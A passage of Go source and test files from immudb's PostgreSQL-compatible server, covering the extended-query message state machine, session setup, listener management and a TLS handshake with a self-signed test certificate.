s.statements[v.DestPreparedStatementName] = newStatement case fm.DescribeMsg: // The Describe message (statement variant) specifies the name of an existing prepared statement // (or an empty string for the unnamed prepared statement). The response is a ParameterDescription // message describing the parameters needed by the statement, followed by a RowDescription message // describing the rows that will be returned when the statement is eventually executed (or a NoData // message if the statement will not return rows). ErrorResponse is issued if there is no such prepared // statement. Note that since Bind has not yet been issued, the formats to be used for returned columns // are not yet known to the backend; the format code fields in the RowDescription message will be zeroes // in this case. if v.DescType == "S" { st, ok := s.statements[v.Name] if !ok { waitForSync = extQueryMode s.HandleError(fmt.Errorf("statement '%s' not found", v.Name)) continue } if _, err = s.writeMessage(bm.ParameterDescription(st.Params)); err != nil { waitForSync = extQueryMode continue } if _, err := s.writeMessage(bm.RowDescription(st.Results, nil)); err != nil { waitForSync = extQueryMode continue } } // The Describe message (portal variant) specifies the name of an existing portal (or an empty string // for the unnamed portal). The response is a RowDescription message describing the rows that will be // returned by executing the portal; or a NoData message if the portal does not contain a query that // will return rows; or ErrorResponse if there is no such portal. if v.DescType == "P" { portal, ok := s.portals[v.Name] if !ok { waitForSync = extQueryMode s.HandleError(fmt.Errorf("portal '%s' not found", v.Name)) continue } if _, err = s.writeMessage(bm.RowDescription(portal.Statement.Results, portal.ResultColumnFormatCodes)); err != nil { waitForSync = extQueryMode continue } } case fm.SyncMsg: waitForSync = false s.writeMessage(bm.ReadyForQuery()) case fm.BindMsg: _, ok := s.portals[v.DestPortalName] // unnamed portal overrides previous if ok && v.DestPortalName != "" { waitForSync = extQueryMode s.HandleError(fmt.Errorf("portal '%s' already present", v.DestPortalName)) continue } st, ok := s.statements[v.PreparedStatementName] if !ok { waitForSync = extQueryMode s.HandleError(fmt.Errorf("statement '%s' not found", v.PreparedStatementName)) continue } encodedParams, err := buildNamedParams(st.Params, v.ParamVals) if err != nil { waitForSync = extQueryMode s.HandleError(err) continue } if _, err = s.writeMessage(bm.BindComplete()); err != nil { waitForSync = extQueryMode continue } newPortal := &portal{ Name: v.DestPortalName, Statement: st, Parameters: encodedParams, ResultColumnFormatCodes: v.ResultColumnFormatCodes, } s.portals[v.DestPortalName] = newPortal case fm.Execute: //query execution portal, ok := s.portals[v.PortalName] if !ok { waitForSync = extQueryMode s.HandleError(fmt.Errorf("portal '%s' not found", v.PortalName)) continue } delete(s.portals, v.PortalName) err := s.fetchAndWriteResults(portal.Statement.SQLStatement, portal.Parameters, portal.ResultColumnFormatCodes, extQueryMode, ) if err != nil { waitForSync = extQueryMode s.HandleError(err) } case fm.FlushMsg: // there is no buffer to be flushed default: waitForSync = extQueryMode s.HandleError(pserr.ErrUnknowMessageType) } } } func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, extQueryMode bool) error { if s.isInBlackList(statements) { _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) return err } if i := s.isEmulableInternally(statements); i != nil { if err := s.tryToHandleInternally(i); err != nil && err != pserr.ErrMessageCannotBeHandledInternally { return err } _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) return err } stmts, err := sql.ParseSQL( strings.NewReader( removePGCatalogReferences(statements), ), ) if err != nil { return err } for _, stmt := range stmts { switch st := stmt.(type) { case *sql.UseDatabaseStmt: { return pserr.ErrUseDBStatementNotSupported } case *sql.SelectStmt: if err = s.query(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil { return err } default: if err = s.exec(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil { return err } } } _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) if err != nil { return err } return nil } func removePGCatalogReferences(sql string) string { return strings.ReplaceAll(sql, "pg_catalog.", "") } func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { tx, err := s.sqlTx() if err != nil { return err } reader, err := s.db.SQLQueryPrepared(s.ctx, tx, st, schema.NamedParamsFromProto(parameters)) if err != nil { return err } defer reader.Close() cols, err := reader.Columns(s.ctx) if err != nil { return err } if !skipRowDesc { if _, err = s.writeMessage(bm.RowDescription(cols, nil)); err != nil { return err } } return sql.ReadRowsBatch(s.ctx, reader, maxRowsPerMessage, func(rowBatch []*sql.Row) error { _, err := s.writeMessage(bm.DataRow(rowBatch, len(cols), resultColumnFormatCodes)) return err }) } func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { params := make(map[string]interface{}, len(namedParams)) for _, p := range namedParams { params[p.Name] = schema.RawValue(p.Value) } tx, err := s.sqlTx() if err != nil { return err } ntx, _, err := s.db.SQLExecPrepared(s.ctx, tx, []sql.SQLStmt{st}, params) s.tx = ntx return err } type portal struct { Name string Statement *statement Parameters []*schema.NamedParam ResultColumnFormatCodes []int16 } type statement struct { Name string SQLStatement string PreparedStmt sql.SQLStmt Params []sql.ColDescriptor Results []sql.ColDescriptor } func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]sql.ColDescriptor, []sql.ColDescriptor, error) { var resCols []sql.ColDescriptor sel, ok := stmt.(*sql.SelectStmt) if ok { rr, err := s.db.SQLQueryPrepared(s.ctx, s.tx, sel, nil) if err != nil { return nil, nil, err } resCols, err = rr.Columns(s.ctx) if err != nil { return nil, nil, err } rr.Close() } r, err := s.db.InferParametersPrepared(s.ctx, s.tx, stmt) if err != nil { return nil, nil, err } if len(r) > math.MaxInt16 { return nil, nil, pserr.ErrMaxParamsNumberExceeded } var paramsNameList []string for n := range r { paramsNameList = append(paramsNameList, n) } sort.Strings(paramsNameList) paramCols := make([]sql.ColDescriptor, 0) for _, n := range paramsNameList { paramCols = append(paramCols, sql.ColDescriptor{Column: n, Type: r[n]}) } return paramCols, resCols, nil } ================================================ FILE: pkg/pgsql/server/query_machine_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "errors" "fmt" "net" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/stretchr/testify/require" ) func TestSession_QueriesMachine(t *testing.T) { var tests = []struct { name string in func(conn net.Conn) out error portals map[string]*portal statements map[string]*statement }{ { name: "unsupported message", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //unsupported message c2.Write([]byte("_")) unsupported := make([]byte, 500) c2.Read(unsupported) c2.Close() }, out: nil, }, { name: "fail first ready for query message", in: func(c2 net.Conn) { c2.Close() }, out: errors.New("io: read/write on closed pipe"), }, { name: "connection is closed", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Close() }, out: nil, }, { name: "wait for sync", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("wrong_st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) errst := make([]byte, 500) c2.Read(errst) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) c2.Write(h.Msg('S', []byte{0})) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) // Terminate message c2.Write(h.Msg('X', []byte{0})) }, out: nil, }, { name: "error on parse-infer parameters", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("wrong statement"), h.I16(1), h.I32(0)}))) errst := make([]byte, 500) c2.Read(errst) // Terminate message c2.Write(h.Msg('X', []byte{0})) }, out: nil, }, { name: "statement already present", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) errst := make([]byte, 500) c2.Read(errst) // Terminate message c2.Write(h.Msg('X', []byte{0})) }, out: nil, }, { name: "error on parse complete", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) c2.Close() }, out: nil, }, { name: "describe S statement not found", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S("wrong st")}))) c2.Close() }, out: nil, }, { name: "describe S ParameterDescription error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S("st")}))) c2.Close() }, out: nil, }, { name: "describe S RowDescription error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S("st")}))) rowDescription := make([]byte, len(bmessages.ParameterDescription(nil))) c2.Read(rowDescription) c2.Close() }, out: nil, }, { name: "describe P portal not found", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('D', h.Join([][]byte{{'P'}, h.S("port")}))) c2.Close() }, out: nil, }, { name: "describe P row desc error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S(";"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) bindComplete := make([]byte, len(bmessages.BindComplete())) c2.Read(bindComplete) c2.Write(h.Msg('S', []byte{0})) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('D', h.Join([][]byte{{'P'}, h.S("port")}))) c2.Close() }, out: nil, }, { name: "sync error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('S', []byte{0})) c2.Close() }, out: nil, }, { name: "query results error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S("_wrong_"))) c2.Close() }, out: nil, }, { name: "query command complete error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S("set test"))) c2.Close() }, out: nil, }, { name: "query command ready for query error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S("set test"))) cc := make([]byte, len(bmessages.CommandComplete([]byte(`ok`)))) c2.Read(cc) c2.Close() }, out: nil, }, { name: "bind portal already present error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) bindComplete := make([]byte, len(bmessages.BindComplete())) c2.Read(bindComplete) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) bindComplete = make([]byte, len(bmessages.BindComplete())) c2.Read(bindComplete) c2.Close() }, out: nil, }, { name: "bind named param error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) c2.Close() }, out: nil, statements: map[string]*statement{ "st": { Name: "st", SQLStatement: "test", PreparedStmt: nil, Params: []sql.ColDescriptor{{ Column: "test", Type: "INTEGER", }}, Results: nil, }, }, }, { name: "bind complete error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set set"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) c2.Close() }, out: nil, }, { name: "execute write result error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('E', h.Join([][]byte{h.S("port"), h.I32(1)}))) c2.Close() }, out: nil, portals: map[string]*portal{ "port": { Statement: &statement{ SQLStatement: "test", }, Parameters: []*schema.NamedParam{ { Name: "test", }, }, ResultColumnFormatCodes: []int16{1}, }, }, }, { name: "execute command complete error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set set"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) bindComplete := make([]byte, len(bmessages.BindComplete())) c2.Read(bindComplete) c2.Write(h.Msg('E', h.Join([][]byte{h.S("port"), h.I32(1)}))) c2.Close() }, out: nil, }, { name: "execute command complete error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) //parse message c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set set"), h.I16(1), h.I32(0)}))) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) bindComplete := make([]byte, len(bmessages.BindComplete())) c2.Read(bindComplete) c2.Write(h.Msg('E', h.Join([][]byte{h.S("port"), h.I32(1)}))) c2.Close() }, out: nil, }, { name: "version info error", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S("select version()"))) c2.Close() }, out: nil, }, { name: "flush", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('H', nil)) c2.Close() }, out: nil, }, { name: "schema info", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S("select current_schema()"))) c2.Close() }, out: nil, }, { name: "table help", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) c2.Write(h.Msg('Q', h.S(tableHelpPrefix))) c2.Close() }, out: nil, }, } for i, tt := range tests { t.Run(fmt.Sprintf("qm scenario %d: %s", i, tt.name), func(t *testing.T) { c1, c2 := net.Pipe() mr := &messageReader{ conn: c1, } s := session{ log: logger.NewSimpleLogger("test", os.Stdout), mr: mr, statements: make(map[string]*statement), portals: make(map[string]*portal), db: &mockDB{}, } if tt.statements != nil { s.statements = tt.statements } if tt.portals != nil { s.portals = tt.portals } go tt.in(c2) err := s.QueryMachine() require.Equal(t, tt.out, err) }) } } type mockDB struct { database.DB } func (db *mockDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { return nil, fmt.Errorf("dummy error") } ================================================ FILE: pkg/pgsql/server/request_handler.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "net" ) func (s *pgsrv) handleRequest(ctx context.Context, conn net.Conn) (err error) { ss := s.newSession(conn) defer ss.Close() err = ss.InitializeSession() if err != nil { return err } err = ss.HandleStartup(ctx) if err != nil { return err } // https://www.postgresql.org/docs/current/protocol-flow.html#id-1.10.5.7.4 return ss.QueryMachine() } ================================================ FILE: pkg/pgsql/server/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/tls" "errors" "fmt" "net" "os" "sync" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" "golang.org/x/net/netutil" ) type pgsrv struct { m sync.RWMutex running bool maxConnections int tlsConfig *tls.Config logger logger.Logger logRequestMetadata bool host string port int immudbPort int dbList database.DatabaseList listener net.Listener } type PGSQLServer interface { Initialize() error Serve() error Stop() error GetPort() int } func New(setters ...Option) *pgsrv { // Default Options srv := &pgsrv{ running: true, maxConnections: 1000, tlsConfig: &tls.Config{}, logger: logger.NewSimpleLogger("pgsqlSrv", os.Stderr), host: "0.0.0.0", immudbPort: 3322, port: 5432, } for _, setter := range setters { setter(srv) } return srv } // Initialize initialize listener. If provided port is zero os auto assign a free one. func (s *pgsrv) Initialize() (err error) { s.listener, err = net.Listen("tcp", fmt.Sprintf("%s:%d", s.host, s.port)) if err != nil { return err } return nil } func (s *pgsrv) Serve() (err error) { s.m.Lock() if s.listener == nil { return errors.New("no listener found for pgsql server") } s.listener = netutil.LimitListener(s.listener, s.maxConnections) s.m.Unlock() for { s.m.Lock() if !s.running { s.m.Unlock() return nil } s.m.Unlock() conn, err := s.listener.Accept() if err != nil { s.logger.Errorf("%v", err) } else { go s.handleRequest(context.Background(), conn) } } } func (s *pgsrv) newSession(conn net.Conn) Session { return newSession(conn, s.host, s.immudbPort, s.logger, s.tlsConfig, s.logRequestMetadata, s.dbList) } func (s *pgsrv) Stop() (err error) { s.m.Lock() defer s.m.Unlock() s.running = false if s.listener != nil { return s.listener.Close() } return nil } func (s *pgsrv) GetPort() int { s.m.Lock() defer s.m.Unlock() if s.listener != nil { return s.listener.Addr().(*net.TCPAddr).Port } return 0 } ================================================ FILE: pkg/pgsql/server/server_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "testing" "github.com/stretchr/testify/require" ) func TestSrv_Initialize(t *testing.T) { s := pgsrv{ port: 99999999999999999, } err := s.Initialize() require.ErrorContains(t, err, "invalid port") } func TestSrv_GetPort(t *testing.T) { s := pgsrv{} err := s.GetPort() require.Equal(t, 0, err) } func TestSrv_Stop(t *testing.T) { s := pgsrv{} res := s.Stop() require.Nil(t, res) } func TestSrv_Serve(t *testing.T) { s := pgsrv{} err := s.Serve() require.ErrorContains(t, err, "no listener found for pgsql server") } ================================================ FILE: pkg/pgsql/server/session.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/tls" "strings" "net" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/errors" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) type session struct { immudbHost string immudbPort int tlsConfig *tls.Config log logger.Logger logRequestMetadata bool dbList database.DatabaseList client client.ImmuClient ctx context.Context user string ipAddr string db database.DB tx *sql.SQLTx mr MessageReader connParams map[string]string protocolVersion string statements map[string]*statement portals map[string]*portal } type Session interface { InitializeSession() error HandleStartup(context.Context) error QueryMachine() error HandleError(error) Close() error } func newSession( c net.Conn, immudbHost string, immudbPort int, log logger.Logger, tlsConfig *tls.Config, logRequestMetadata bool, dbList database.DatabaseList, ) *session { addr := c.RemoteAddr().String() i := strings.Index(addr, ":") if i >= 0 { addr = addr[:i] } return &session{ immudbHost: immudbHost, immudbPort: immudbPort, tlsConfig: tlsConfig, log: log, logRequestMetadata: logRequestMetadata, dbList: dbList, ipAddr: addr, mr: NewMessageReader(c), statements: make(map[string]*statement), portals: make(map[string]*portal), } } func (s *session) HandleError(e error) { pgerr := errors.MapPgError(e) _, err := s.writeMessage(pgerr.Encode()) if err != nil { s.log.Errorf("unable to write error on wire: %v", err) } } func (s *session) nextMessage() (interface{}, bool, error) { msg, err := s.mr.ReadRawMessage() if err != nil { return nil, false, err } s.log.Debugf("received %s - %s message", string(msg.t), pgmeta.MTypes[msg.t]) extQueryMode := false i, err := s.parseRawMessage(msg) if msg.t == 'P' || msg.t == 'B' || msg.t == 'D' || msg.t == 'E' || msg.t == 'H' { extQueryMode = true } return i, extQueryMode, err } func (s *session) parseRawMessage(msg *rawMessage) (interface{}, error) { switch msg.t { case 'p': return fm.ParsePasswordMsg(msg.payload) case 'Q': return fm.ParseQueryMsg(msg.payload) case 'X': return fm.ParseTerminateMsg(msg.payload) case 'P': return fm.ParseParseMsg(msg.payload) case 'B': return fm.ParseBindMsg(msg.payload) case 'D': return fm.ParseDescribeMsg(msg.payload) case 'S': return fm.ParseSyncMsg(msg.payload) case 'E': return fm.ParseExecuteMsg(msg.payload) case 'H': return fm.ParseFlushMsg(msg.payload) default: return nil, errors.ErrUnknowMessageType } } func (s *session) writeMessage(msg []byte) (int, error) { if len(msg) > 0 { s.log.Debugf("write %s - %s message", string(msg[0]), pgmeta.MTypes[msg[0]]) } return s.mr.Write(msg) } func (s *session) sqlTx() (*sql.SQLTx, error) { if s.tx != nil || !s.logRequestMetadata { return s.tx, nil } md := schema.Metadata{ schema.UserRequestMetadataKey: s.user, schema.IpRequestMetadataKey: s.ipAddr, } // create transaction explicitly to inject request metadata ctx := schema.ContextWithMetadata(s.ctx, md) return s.db.NewSQLTx(ctx, sql.DefaultTxOptions()) } ================================================ FILE: pkg/pgsql/server/session_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "github.com/codenotary/immudb/pkg/database" ) type sessionMock struct { InitializeSessionF func() error QueryMachineF func(ctx context.Context) error HandleStartupF func() error } func NewSessionMock() *sessionMock { s := &sessionMock{ InitializeSessionF: func() error { return nil }, QueryMachineF: func(ctx context.Context) error { return nil }, HandleStartupF: func() error { return nil }, } return s } func (s *sessionMock) InitializeSession() error { return s.InitializeSessionF() } func (s *sessionMock) QueriesMachine(ctx context.Context) error { return s.QueryMachineF(ctx) } func (s *sessionMock) HandleStartup(dbList database.DatabaseList) error { return s.HandleStartupF() } func (s *sessionMock) ErrorHandle(e error) {} ================================================ FILE: pkg/pgsql/server/ssl_handshake.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "crypto/tls" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" ) func (s *session) handshake() error { if s.tlsConfig == nil || len(s.tlsConfig.Certificates) == 0 { return pserr.ErrSSLNotSupported } tlsConn := tls.Server(s.mr.Connection(), s.tlsConfig) err := tlsConn.Handshake() if err != nil { return err } s.mr.UpgradeConnection(tlsConn) return nil } ================================================ FILE: pkg/pgsql/server/ssl_handshake_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "crypto/tls" "io" "net" "os" "testing" "github.com/codenotary/immudb/embedded/logger" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/stretchr/testify/require" ) func TestSession_handshakeNotSupported(t *testing.T) { s := session{ tlsConfig: &tls.Config{}, } err := s.handshake() require.ErrorIs(t, err, pserr.ErrSSLNotSupported) } func TestSession_handshakeErr(t *testing.T) { certPem := []byte(`-----BEGIN CERTIFICATE----- MIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw DgYDVQQKEwdBY21lIENvMB4XDTE3MTAyMDE5NDMwNloXDTE4MTAyMDE5NDMwNlow EjEQMA4GA1UEChMHQWNtZSBDbzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABD0d 7VNhbWvZLWPuj/RtHFjvtJBEwOkhbN/BnnE8rnZR8+sbwnc/KhCk3FhnpHZnQz7B 5aETbbIgmuvewdjvSBSjYzBhMA4GA1UdDwEB/wQEAwICpDATBgNVHSUEDDAKBggr BgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MCkGA1UdEQQiMCCCDmxvY2FsaG9zdDo1 NDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l Wf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc 6MF9+Yw1Yy0t -----END CERTIFICATE-----`) keyPem := []byte(`-----BEGIN EC PRIVATE KEY----- MHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49 AwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== -----END EC PRIVATE KEY-----`) cert, err := tls.X509KeyPair(certPem, keyPem) require.NoError(t, err) cfg := &tls.Config{Certificates: []tls.Certificate{cert}} c1, _ := net.Pipe() c1.Close() 